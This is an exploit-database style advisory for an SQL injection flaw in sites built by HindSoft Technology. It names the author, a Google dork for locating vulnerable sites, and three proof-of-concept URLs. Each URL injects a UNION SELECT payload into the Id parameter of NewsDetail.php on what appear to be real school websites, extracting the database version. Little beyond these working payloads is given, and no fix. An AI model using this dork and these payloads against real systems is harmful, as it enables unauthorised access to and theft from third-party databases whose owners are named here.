********************************************************* #Exploit Title: Powered by : HindSoft Technology - SQL Injection vulnerability #Date: 2020-11-05 #Exploit Author: Behrouz Mansoori #Google Dork: "Powered by : HindSoft Technology" #Category:webapps #Tested On: windows 10, Firefox Proof of Concept: Search google Dork: "Powered by : HindSoft Technology" Demo : http://gdgoenkakarkardooma.com/NewsDetail.php?Id=-130%27%20union%20select%201,2,3,version(),5,6,7,8,9,10--+&LnToken=HsDU83QgvgM2kdc396dc30cc82458af93e7fa4b6523a8 http://www.gdgoenkasonepat.com/NewsDetail.php?Id=-8%27%20union%20select%201,2,3,version(),5,6,7,8,9,10--+&LnToken=HsoXI7.5jB8bg3701c6221be71ff26d726d376aa1dc9 http://gitarattan.com/NewsDetail.php?Id=-6%27%20union%20select%201,2,3,4,version(),6,7,8,9,10--+&LnToken=Hs0.a7JpkkK1271cc7d40774098936e8a8dd4872654fa ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: [email protected] *********************************************************